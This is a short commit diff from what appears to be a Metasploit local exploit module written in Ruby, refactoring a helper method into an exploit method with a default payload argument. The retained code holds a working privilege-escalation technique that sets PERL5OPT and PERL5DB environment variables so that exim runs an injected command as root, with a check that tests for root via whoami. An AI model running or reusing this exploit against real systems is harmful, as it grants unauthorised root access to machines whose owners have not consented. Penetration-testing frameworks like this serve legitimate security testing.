parent
43e74fce9e
commit
07ee18a62b
|
@ -44,18 +44,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if x('whoami') == 'root'
|
||||
if exploit('whoami') == 'root'
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
x(payload.encoded)
|
||||
end
|
||||
|
||||
def x(c)
|
||||
def exploit(c = payload.encoded)
|
||||
# PERL5DB technique from http://perldoc.perl.org/perlrun.html
|
||||
cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-})
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue